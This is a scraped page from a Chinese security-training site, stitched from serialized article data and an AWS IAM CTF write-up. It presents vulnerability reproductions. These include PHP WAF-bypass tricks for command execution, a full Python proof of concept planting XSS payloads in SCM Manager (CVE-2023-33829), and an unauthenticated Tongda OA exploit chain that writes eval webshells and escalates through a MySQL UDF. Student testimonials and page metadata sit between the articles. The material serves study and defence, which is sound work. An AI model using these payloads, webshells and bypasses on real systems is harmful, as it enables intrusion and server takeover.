访问。例如:\r\n\r\n\r\n这可能是另一种无需使用其名称即可访问系统功能的方法。如果我对“系统”进行 grep,我可以发现它的索引号并将其用作我的代码执行的字符串:\r\n\r\n\r\n\r\n显然,这应该对我们的 Cloudflare WAF 和脚本过滤器有效:\r\n\r\n\r\n\r\n字符数组\r\n\r\nPHP 中的每个字符串都可以用作字符数组(几乎像 Python 那样),您可以使用语法 $string[2] 或 $string[-3] 引用单个字符串字符。这可能是另一种规避阻止 PHP 函数名称的规则的方法。例如,使用这个字符串 $a=”elmsty\u002F “; 我可以编写语法系统(“ls \u002Ftmp”);\r\n\r\n\r\n如果幸运的话,您可以在脚本文件名中找到所需的所有字符。使用相同的技术,您可以使用类似的方法选择所需的所有字符\r\n\r\n\r\n\r\n\r\nOWASP CRS3\r\n\r\n有了 OWASP CRS3,一切都变得更难了。首先,使用之前看到的技术,我只能绕过第一个偏执级别,这太神奇了!因为 Paranoia Level 1 只是我们可以在 CRS3 中找到的规则的一小部分,所以这个级别旨在防止任何误报。对于 2 级偏执狂,由于规则 942430“受限 SQL 字符异常检测(args):超出特殊字符数”,所有事情都变得困难。我能做的只是执行一个不带参数的命令,如“ls”、“whoami”等。但我无法像使用 Cloudflare WAF 那样执行类似 system(“cat \u002Fetc\u002Fpasswd”) 的命令:",pic:"\u002Fcloud-image\u002Fnews\u002Fe73621e4-893f-4b50-992f-d2e737235201.png",openTime:"2023-06-14T14:43:47+08:00",viewsNum:3532},{id:"20230606152817",type:f,title:"SCM Manager XSS漏洞复现(CVE-2023-33829)",abstract:"一、漏洞描述\r\n\r\n\r\n漏洞简述\r\n\r\nSCM-Manager 是一款开源的版本库管理软件,同时支持 subversion、mercurial、git 的版本库管理。安装简单,功能较强,提供用户、用户组的权限管理 ,有丰富的插件支持。由于在MIT的许可下是开源的,因此它允许被用于商业用途,而且其代码可以在GitHub上获取到。该项目最初只是被用于研究目的,而在其2.0版本之后,被Cloudogu公司接手管理和开发了其各种代码库,以便为各个公司提供专业的企业级支持。\r\n\r\n该漏洞主要为攻击者利用其多个功能的描述字段的代码缺陷,构造payload进行XSS攻击。\r\n\r\n漏洞影响范围\r\n\r\n供应商:Cloudogu\r\n\r\n产品:SCM Manager\r\n\r\n确认受影响版本:SCM Manager 1.2 \u003C= 1.60\r\n\r\n修复版本:\u003E1.60 最新版本为2.43.1\r\n\r\n二、漏洞复现实战\r\n\r\n环境搭建\r\n\r\ndocker镜像:\r\n\r\nhttps:\u002F\u002Fbitbucket.org\u002Fsdorra\u002Fdocker-scm-manager\u002Fsrc\u002Fmaster\u002F利用shell脚本搭建\r\n\r\nshell:\r\n\r\n#!\u002Fbin\u002Fbash\r\n \r\nmkdir \u002Fvar\u002Flib\u002Fscm\r\nchown 1000:1000 \u002Fvar\u002Flib\u002Fscm\r\ndocker run -v \u002Fvar\u002Flib\u002Fscm:\u002Fvar\u002Flib\u002Fscm -p 8080:8080 sdorra\u002Fscm-manager\r\n\r\n漏洞复现\r\n\r\n首先访问SCM Manager,需身份认证\r\n\r\nUsername : scmadmin Password: scmadmin\r\n\r\nrepositories\r\n\r\nrepository功能下Description字段该漏洞可利用\r\n\r\n创建新repository,并payload进行利用\r\n\r\nGit类型:\r\n\r\nSubversion类型:\r\n\r\nUsers\r\n\r\nUser功能下Display Name字段该漏洞可利用\r\n\r\n创建新repository,并payload进行利用\r\n\r\n可以看到新创建的账号中Display Name属性下显示异常,且XSS payload利用成功\r\n\r\nGroups\r\n\r\nGroup功能下Description字段该漏洞可利用\r\n\r\n另外可以根据POC进行利用\r\n\r\nPOC:\r\n\r\nimport requests\r\nimport argparse\r\nimport sys\r\n \r\n# Main menu\r\nparser = argparse.ArgumentParser(description='CVE-2023-33829 exploit')\r\nparser.add_argument(\"-u\", \"--user\", help=\"Admin user or user with write permissions\")\r\nparser.add_argument(\"-p\", \"--password\", help=\"password of the user\")\r\nargs = parser.parse_args()\r\n \r\n \r\n# Credentials\r\nuser = sys.argv[2]\r\npassword = sys.argv[4]\r\n \r\n \r\n# Global Variables\r\nmain_url = \"http:\u002F\u002Flocalhost:8080\u002Fscm\" # Change URL if its necessary\r\nauth_url = main_url + \"\u002Fapi\u002Frest\u002Fauthentication\u002Flogin.json\"\r\nusers = main_url + \"\u002Fapi\u002Frest\u002Fusers.json\"\r\ngroups = main_url + \"\u002Fapi\u002Frest\u002Fgroups.json\"\r\nrepos = main_url + \"\u002Fapi\u002Frest\u002Frepositories.json\"\r\n \r\n# Create a session\r\nsession = requests.Session()\r\n \r\n# Credentials to send\r\npost_data={\r\n  'username': user, # change if you have any other user with write permissions\r\n  'password': password # change if you have any other user with write permissions\r\n}\r\n \r\nr = session.post(auth_url, data=post_data)\r\n \r\nif r.status_code == 200:\r\n  print(\"[+] Authentication successfully\")\r\nelse:\r\n  print(\"[-] Failed to authenticate\")\r\n  sys.exit(1)\r\n \r\nnew_user={\r\n \r\n  \"name\": \"newUser\",\r\n  \"displayName\": \"\u003Cimg src=x onerror=alert('XSS')\u003E\",\r\n  \"mail\": \"\",\r\n  \"password\": \"\",\r\n  \"admin\": False,\r\n  \"active\": True,\r\n  \"type\": \"xml\"\r\n \r\n}\r\n \r\ncreate_user = session.post(users, json=new_user)\r\nprint(\"[+] User with XSS Payload created\")\r\n \r\nnew_group={\r\n \r\n  \"name\": \"newGroup\",\r\n  \"description\": \"\u003Cimg src=x onerror=alert('XSS')\u003E\",\r\n  \"type\": \"xml\"\r\n \r\n}\r\n \r\ncreate_group = session.post(groups, json=new_group)\r\nprint(\"[+] Group with XSS Payload created\")\r\n \r\nnew_repo={\r\n \r\n  \"name\": \"newRepo\",\r\n  \"type\": \"svn\",\r\n  \"contact\": \"\",\r\n  \"description\": \"\u003Cimg src=x onerror=alert('XSS')\u003E\",\r\n  \"public\": False\r\n \r\n}\r\n \r\ncreate_repo = session.post(repos, json=new_repo)\r\nprint(\"[+] Repository with XSS Payload created\")\r\n\r\n漏洞修复\r\n\r\n建议更新至SCM Manager最新版本,目前为2.43.1\r\n\r\n结束语\r\n\r\n本文主要介绍了CVE-2023-33829 SCM Manager XSS漏洞复现过程,漏洞主要体现于攻击者利用其多个功能的描述字段的代码缺陷,构造payload进行XSS攻击。\r\n\r\n本漏洞可参考之处为敏感功能避免重复调用非敏感功能代码,并做好过滤与校验,进行必要的安全测试。",pic:"https:\u002F\u002Fm-1254331109.cos.ap-guangzhou.myqcloud.com\u002F202306061504318.png",openTime:"2023-06-06T15:28:25+08:00",viewsNum:4447},{id:"20230602170715",type:f,title:"某OA 11.10 未授权任意文件上传",abstract:"漏洞简介\r\n\r\n之前也对通达 oa 做过比较具体的分析和漏洞挖掘,前几天看到通达 oa 11.10 存在未授权任意文件上传漏洞,于是也打算对此进行复现和分析。\r\n\r\n环境搭建\r\n\r\nhttps:\u002F\u002Fwww.tongda2000.com\u002Fdownload\u002Fp2019.php下载地址 :https:\u002F\u002Fcdndown.tongda2000.com\u002Foa\u002F2019\u002FTDOA11.10.exe\r\n\r\n查看版本信息\r\n\r\n 漏洞复现\r\n\r\n利用方式一\r\n\r\nhttp:\u002F\u002F192.168.222.128\u002Fgeneral\u002Fappbuilder\u002Fweb\u002Fportal\u002Fgateway\u002Fgetdata?activeTab=%E5%27%19,1%3D%3Eeval($_POST[c]))%3B\u002F*&id=19&module=Carouselimage\r\n\r\n 利用方式二\r\n\r\n无法直接写入带有变量的 php 文件\r\n\r\n所以首先利用 无参 webshell\r\n\r\n\u003C?php @eval(next(getallheaders()));\r\n\r\n GET \u002Fgeneral\u002Fappbuilder\u002Fweb\u002Fportal\u002Fgateway\u002Fgetdata?activeTab=%e5%27,1%3d%3Efwrite(fopen(%22C:\u002FMYOA\u002Fwebroot\u002Fgeneral\u002F1.php%22,%22w+%22),%22%3C?php%20eval(next(getallheaders()));%22))%3b\u002F*&id=266&module=Carouselimage HTTP\u002F1.1\r\nHost: 192.168.222.128\r\nUpgrade-Insecure-Requests: 1\r\nUser-Agent: Mozilla\u002F5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\u002F537.36 (KHTML, like Gecko) Chrome\u002F85.0.4183.83 Safari\u002F537.36\r\nAccept: text\u002Fhtml,application\u002Fxhtml+xml,application\u002Fxml;q=0.9,image\u002Favif,image\u002Fwebp,image\u002Fapng,*\u002F*;q=0.8,application\u002Fsigned-exchange;v=b3;q=0.9\r\nAccept-Encoding: gzip, deflate\r\nAccept-Language: zh-CN,zh;q=0.9\r\nConnection: close\r\n\r\n上传成功后再利用第一次生成的恶意文件再生成文件。\r\n\r\nGET \u002Fgeneral\u002Ftest.php HTTP\u002F1.1\r\nHost: 192.168.121.147:8081\r\nUser-Agent: Mozilla\u002F5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\u002F537.36 (KHTML, like Gecko) Chrome\u002F103.0.0.0 Safari\u002F537.36\r\nAccept: text\u002Fhtml,application\u002Fxhtml+xml,application\u002Fxml;q=0.9,image\u002Favif,image\u002Fwebp,*\u002F*;q=0.8\r\nAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2\r\nAccept-Encoding: gzip, deflate\r\nConnection: close\r\nCookie: file_put_contents('test1.php','\u003C?php @eval($_REQUEST[1]);');\r\nContent-Length: 28\r\n \r\nUpgrade-Insecure-Requests: 1\r\n\r\n 但是无法直接直接命令,这是因为权限过低的原因 所以想要进一步的操作,就需要提权。\r\n\r\n通过查看配置文件看到 mysql 数据库的密码。\r\n\r\n利用蚁剑连接数据库。\r\n\r\n\r\n查看 mysql 的版本。\r\n\r\n\r\n\r\nSqlMap 中集成了对应的提权文件,不过需要先进行解密操作。\r\n\r\nudf.dll的是经过编码运算的,所以需要有一个解密脚本,在这个路径下\r\n\r\nsqlmap-master\\extra\\cloak \r\n\r\n对应的 dll 文件路径\r\n\r\nsqlmap-master\\data\\udf\\mysql\\windows\\64 \r\n\r\n执行解码操作\r\n\r\ncloak.py -d -i sqlmap-master\\data\\udf\\mysql\\windows\\64\\lib_mysqludf_sys.dll_ \r\n\r\n然后将解码好的文件上传到 mysql\u002Flib\u002Fplugin\u002F 路径下\r\n\r\n create function sys_eval returns string soname 'lib_mysqludf_sys.dll';\r\nselect sys_eval(\"whoami\");\r\n\r\n 漏洞分析\r\n\r\ngeneral\\appbuilder\\modules\\portal\\controllers\\GatewayController.php#actionGetdata \r\n\r\n 首先判断是否存在参数 id 之后根据 module 的值依次执行 GetData与toUTF8方法。\r\n\r\ngeneral\\appbuilder\\modules\\portal\\models\\PortalComponent.php#GetData \r\n\r\n根据 id 查询,返回相对对应的数值 $activeTab 的值是从外部获取的。\r\n\r\n根据不同的 $module 调用不同的get_data 方法\r\n\r\ngeneral\\appbuilder\\modules\\portal\\components\\AppDesignComponents.php#data_analysis \r\n\r\n general\\appbuilder\\modules\\appdesign\\models\\AppUtils.php#toUTF8 \r\n\r\n这里有一点类似于宽字节注入,利用类型的转换,使得传入的单引号转移后又被编码转换成汉字,最终使得单引号逃逸出来。最后实现命令执行。",pic:"https:\u002F\u002Fm-1254331109.cos.ap-guangzhou.myqcloud.com\u002F202306021647696.png",openTime:"2023-06-02T17:12:55+08:00",viewsNum:4874}]},goodNewsList:[{id:"fee80985-987a-4e62-b359-0321d3b9a584",type:a,category:b,tags:d,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F379a635c-7d9b-481a-9b28-29bc47ad0eea.png?1787193023720",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F379a635c-7d9b-481a-9b28-29bc47ad0eea-small.png?1787193023720",subContent:g},{id:"981c0d22-2a31-4eba-a0dc-e5147316ec3f",type:a,category:b,tags:d,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F42889396-f27d-47b4-a48c-e38d144825c7.png?1787193000045",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F42889396-f27d-47b4-a48c-e38d144825c7-small.png?1787193000045",subContent:g},{id:"2a632c86-75a5-43d0-820b-255c4a5c7ce4",type:a,category:b,tags:d,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002Fa8d2efd7-ab6d-4eec-8652-5f74ebf1ace5.png?1787192901558",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002Fa8d2efd7-ab6d-4eec-8652-5f74ebf1ace5-small.png?1787192901558",subContent:"src漏洞报告案例"},{id:"2ff34d68-244e-4453-b808-a1adbb14082f",type:a,category:b,tags:d,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F4ad78325-30b4-4b91-b002-6efcde95c3fc.png?1787192836274",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F4ad78325-30b4-4b91-b002-6efcde95c3fc-small.png?1787192836274",subContent:g},{id:"77f467c4-291a-4692-98aa-8d20e9d9c01f",type:a,category:b,tags:d,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F60063d22-10e8-4488-8642-0fe2eefda742.png?1787192817014",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F60063d22-10e8-4488-8642-0fe2eefda742-small.png?1787192817014",subContent:g},{id:"7938806c-9f9e-4aaa-9e38-f1dfeb860599",type:a,category:b,tags:d,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F58e059a6-474e-4bf5-8f24-1297a9a0f1e2.png?1787192552298",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F58e059a6-474e-4bf5-8f24-1297a9a0f1e2-small.png?1787192552298",subContent:g},{id:"0aade21b-baea-42e2-810b-a159ec2a0d67",type:a,category:b,tags:d,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002Fe9038fa1-fac3-4159-8cad-0e7524c9d3b2.png?1787192538113",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002Fe9038fa1-fac3-4159-8cad-0e7524c9d3b2-small.png?1787192538113",subContent:g},{id:"e5bc50f9-9b71-430f-a520-7291cdc7e62c",type:a,category:b,tags:d,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F77202573-3263-46d9-a0ab-85afabfa7040.png?1787192515737",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F77202573-3263-46d9-a0ab-85afabfa7040-small.png?1787192515737",subContent:"漏洞产出案例-哔哩哔哩"},{id:"00718522-bf47-422e-8058-23b0fca91f11",type:a,category:b,tags:d,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F30615a27-1b23-4955-9e54-2a4e6cf1d686.png?1787192492486",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F30615a27-1b23-4955-9e54-2a4e6cf1d686-small.png?1787192492486",subContent:g},{id:"2b04c2ab-c18a-4435-96f4-67e43d21ae8d",type:a,category:b,tags:d,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F7789121e-a712-4661-92ea-f6257f3f5948.png?1786414229574",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F7789121e-a712-4661-92ea-f6257f3f5948-small.png?1786414229574",subContent:"src挖洞成果-网易已获49积分"},{id:"60ab74cd-8e5e-4a5c-934f-5e4a2e0511aa",type:a,category:b,tags:a,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F06651819-e19f-40b8-b99c-d344edbfdc24.png?1782375005186",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F06651819-e19f-40b8-b99c-d344edbfdc24-small.png?1782375005186",subContent:"渗透学生入职L通"},{id:"fb4c4b99-5f1d-467e-84da-65f3723a7c95",type:a,category:b,tags:a,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F857f1619-ea00-47f7-8f86-594a81c7b8a6.png?1781659646741",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F857f1619-ea00-47f7-8f86-594a81c7b8a6-small.png?1781659646741",subContent:"武装部表扬信"},{id:"317ffbf9-0c3d-4c43-8a88-dc6d4b0a4422",type:a,category:b,tags:e,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F78552374-fb61-44f6-aee3-36ba8e130a8c.png?1780647375683",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F78552374-fb61-44f6-aee3-36ba8e130a8c-small.png?1780647375683",subContent:c},{id:"3fa967d8-bbd7-432b-aea7-4627c5e3a8f2",type:a,category:b,tags:h,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F491ee75c-ab07-4614-97b8-437f00412a30.png?1780647366339",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F491ee75c-ab07-4614-97b8-437f00412a30-small.png?1780647366339",subContent:c},{id:"696ed075-d4ee-499c-944b-753b0b648cc8",type:a,category:b,tags:e,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002Fccecd7d5-77c1-47e2-bc27-09ef356457e4.png?1780647356038",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002Fccecd7d5-77c1-47e2-bc27-09ef356457e4-small.png?1780647356038",subContent:c},{id:"75b7d09d-f188-452b-86fb-811ebe3e9686",type:a,category:b,tags:h,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F6ce9d29d-d75f-4912-a27e-8197d24b106e.png?1780647342261",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F6ce9d29d-d75f-4912-a27e-8197d24b106e-small.png?1780647342261",subContent:c},{id:"dda6dbd9-e998-40ae-a72c-0837f1bb3e67",type:a,category:b,tags:h,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002Ff85bf0c9-4665-45ff-a6c4-8e13e5cf29c6.png?1780647320683",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002Ff85bf0c9-4665-45ff-a6c4-8e13e5cf29c6-small.png?1780647320683",subContent:c},{id:"337dedac-db6f-4053-a246-dbae343b632e",type:a,category:b,tags:e,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002Fee8389e7-7d96-4650-a2ff-8a33648a8b27.png?1780647308406",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002Fee8389e7-7d96-4650-a2ff-8a33648a8b27-small.png?1780647308406",subContent:c},{id:"6bd9ff8a-d5e6-4e97-b7dc-4949e987933e",type:a,category:b,tags:e,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F299dce04-a970-4c0e-a7ef-50a4a757bba2.png?1780647292920",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F299dce04-a970-4c0e-a7ef-50a4a757bba2-small.png?1780647292920",subContent:c},{id:"f6551a2c-808a-4ff2-891e-d7510da1c322",type:a,category:b,tags:e,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002Fbf312c70-e04d-4bb6-a3b5-c04cbf302904.png?1780647282594",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002Fbf312c70-e04d-4bb6-a3b5-c04cbf302904-small.png?1780647282594",subContent:c},{id:"7a70a637-a7a8-4adc-b853-d34e2dd3aa71",type:a,category:b,tags:e,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F097eca6f-4dcd-477f-83e3-c6f2416dd56a.png?1780647268334",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F097eca6f-4dcd-477f-83e3-c6f2416dd56a-small.png?1780647268334",subContent:c},{id:"e6ab2e37-c390-4a2f-851a-a8953986e160",type:a,category:b,tags:e,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F1ab87be1-f94d-4265-949c-e0d76c47a54c.png?1780647256899",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F1ab87be1-f94d-4265-949c-e0d76c47a54c-small.png?1780647256899",subContent:c},{id:"9ebae6e9-6201-4385-892d-ce81bfd5d6f8",type:a,category:b,tags:e,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002Ff897f502-ab99-4e4b-88dc-898a1b311916.png?1780647244664",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002Ff897f502-ab99-4e4b-88dc-898a1b311916-small.png?1780647244664",subContent:c},{id:"d3638720-611b-4095-ba54-5feea9bbbcf0",type:a,category:b,tags:e,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F55745109-ae0b-45d1-ab9d-934665ca0e4f.png?1780647229987",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F55745109-ae0b-45d1-ab9d-934665ca0e4f-small.png?1780647229987",subContent:c},{id:"ab57687a-684b-4823-ae8d-9bc4094fcb76",type:a,category:b,tags:e,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002Fa0a73ebf-e999-4eb7-8ff3-3d2cae8dfe4e.png?1780647199285",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002Fa0a73ebf-e999-4eb7-8ff3-3d2cae8dfe4e-small.png?1780647199285",subContent:c},{id:"113d0779-2851-432b-8f5b-89eb12241272",type:a,category:b,tags:i,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002Fad5e3e24-17f4-4c53-b5b2-df373e6da24a.png?1787128678640",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002Fad5e3e24-17f4-4c53-b5b2-df373e6da24a-small.png?1787128678640",subContent:"渗透测试学生,入职海K,薪资20+"},{id:"53b6f5ee-2c50-423c-845b-cee6c00ecde6",type:a,category:b,tags:d,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F3dac5ad5-6b9c-4f3d-abc7-a935c3a2529e.png?1774834923466",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F3dac5ad5-6b9c-4f3d-abc7-a935c3a2529e-small.png?1774834923466",subContent:"通过训练不仅挖到了漏洞,学费也自己赚回来了"},{id:"88448d40-bc97-4b3a-8723-b08775ea4889",type:a,category:b,tags:a,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F88448d40-bc97-4b3a-8723-b08775ea4889.png?1787130153032",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F88448d40-bc97-4b3a-8723-b08775ea4889-small.png?1787130153032",subContent:"渗透班优秀学生,入职华W"},{id:"09dce0d2-e362-4927-b269-7f1ea8085f3d",type:a,category:b,tags:a,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F30e62c5c-af57-4002-a8f8-2e981bae8d08.png?1781147128716",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F30e62c5c-af57-4002-a8f8-2e981bae8d08-small.png?1781147128716",subContent:"大三计算机科学专业,通过web安全课程学习,进入电信实习"},{id:"de9f0cff-dd00-47d5-bcf5-da3742162d29",type:a,category:b,tags:a,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F9d8e4b9f-554d-4135-ac28-9ba10c5e0de0.png?1769160018185",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F9d8e4b9f-554d-4135-ac28-9ba10c5e0de0-small.png?1769160018185",subContent:"高危原创漏洞证明"},{id:"3f4a0e71-4e14-492f-92d7-15f054caf269",type:a,category:b,tags:a,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F5faba32d-283d-4cfd-b47c-efd6e51a42f4.png?1768529638951",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F5faba32d-283d-4cfd-b47c-efd6e51a42f4-small.png?1768529638951",subContent:"web安全学生获取cnvd证书"},{id:"0bfc445a-31ec-49c5-bee0-f0399f1b2dca",type:a,category:b,tags:i,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002Fb404059c-c37f-407d-a20a-16be055b6fce.png?1768294167218",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002Fb404059c-c37f-407d-a20a-16be055b6fce-small.png?1768294167218",subContent:"20岁、本科信安专业,实习面试通过,渗透岗位"},{id:"ad7fa854-d359-4b13-92b4-d237a12aa6a8",type:a,category:b,tags:i,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002Fad7fa854-d359-4b13-92b4-d237a12aa6a8.png?1787130199705",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002Fad7fa854-d359-4b13-92b4-d237a12aa6a8-small.png?1787130199705",subContent:"信安专业大三实习生,入职绿M"},{id:"229455f6-b661-41d7-8109-1cc2dc4aa582",type:a,category:b,tags:h,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F20963039-60d5-43da-91a5-25018d18c006.png?1767601292665",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F20963039-60d5-43da-91a5-25018d18c006-small.png?1767601292665",subContent:j},{id:"dc4fd4cb-b81e-48e1-8f81-bceb16aedd35",type:a,category:b,tags:h,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F064b0a50-7379-4c0b-a0a2-490aeb2110b0.png?1767601265564",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F064b0a50-7379-4c0b-a0a2-490aeb2110b0-small.png?1767601265564",subContent:j},{id:"d192c517-0c0e-4af9-85ef-433e0b0b8563",type:a,category:b,tags:e,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F622fd25c-ded2-4295-a22d-5d194d3dcd65.png?1767601246547",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F622fd25c-ded2-4295-a22d-5d194d3dcd65-small.png?1767601246547",subContent:j}],systemName:"蚁景网安 - 网络安全人才培养服务提供商",loginUser:void 0,cacheFlag:"34423f4730bda529a7fb0128c9bcb6c9",isMobileDevice:false,nowTime:1789911575604}}("","News","广交会第139届奖金"," SRC "," SRC 广交会 ","specialized","漏洞产出案例"," 广交会 SRC "," 网安学生 ","第138届广交会奖金"))
IAM风险CTF挑战赛
wiz启动了一个名为“The Big IAM Challenge”云安全CTF挑战赛。旨在让白帽子识别和利用 IAM错误配置,并从现实场景中学习,从而更好的认识和了解IAM相关的风险。比赛包括6个场景,每个场景都专注于各种AWS服务中常见的IAM配置错误。 Challenge1: Buckets of Fun We all know that public buckets are risky. But can you find the flag? 查看提示获取本关的IAM策略如下: {   "Version": "2012-10-17",   "Statement": [       {           "Effect": "Allow",   //Effect(效果)设置为Allow(允许)           "Principal": "*",   //Principal(主体)是所有用户("*")           "Action": "s3:GetObject", //获取对象           "Resource": "arn:aws:s3:::thebigiamchallenge-storage-9979f4b/*" //指定S3存储桶中的所有对象       },       {           "Effect": "Allow",           "Principal": "*",           "Action": "s3:ListBucket",   //列出存储桶           "Resource": "arn:aws:s3:::thebigiamchallenge-storage-9979f4b",             "Condition": {     //条件是通过前缀限制只能列出以"files/"为前缀的对象               "StringLike": {                   "s3:prefix": "files/*"               }           }       }   ] } 该策略允许任何用户列出"thebigiamchallenge-storage-9979f4b"存储桶中符合前缀条件"files/"的对象。该策略存在如下安全风险: 1、允许任何用户对指定的S3存储桶执行GetObject操作以获取对象的内容。 2、允许任何用户对指定的S3存储桶执行ListBucket操作列出存储桶中符合指定前缀条件的对象 解题思路: 针对s3存储桶权限校验不严格,列出桶资源对象并使用查看对象内容获取flag。 1、获取该存储桶中的对象 aws s3 ls s3://thebigiamchallenge-storage-9979f4b/files/ 得知files目录下存在flag1.txt文件,将其下载到本地,这里提示Read-only file system(只读文件系统)错误,权限问题,我们将其下载到/tmp目录下: aws s3 cp s3://thebigiamchallenge-storage-9979f4b/files/flag1.txt /tmp/flag.txt 另外也可以直接网络访问获取: http://s3.amazonaws.com/thebigiamchallenge-storage-9979f4b/files/flag1.txt 获得flag如下: {wiz:exposed-storage-risky-as-usual} Challenge2: We created our own analytics system specifically for this challenge. We think it's so good that we even used it on this page. What could go wrong? Join our queue and get the secret flag. 查看提示获取本关的IAM策略如下: {   "Version": "2012-10-17",   "Statement": [       {           "Effect": "Allow",           "Principal": "*",           "Action": [               "sqs:SendMessage",     //发送消息               "sqs:ReceiveMessage" //接收消息           ],           "Resource": "arn:aws:sqs:us-east-1:092297851374:wiz-tbic-analytics-sqs-queue-ca7a1b2"       }   ] } 该IAM策略允许任何用户对特定的SQS队列执行SendMessage和ReceiveMessage操作,即发送和接收消息。该策略存在如下安全风险: 1、该策略将操作权限授予了所有用户("*"),意味着任何具有该策略的用户或角色都可以发送和接收消息。 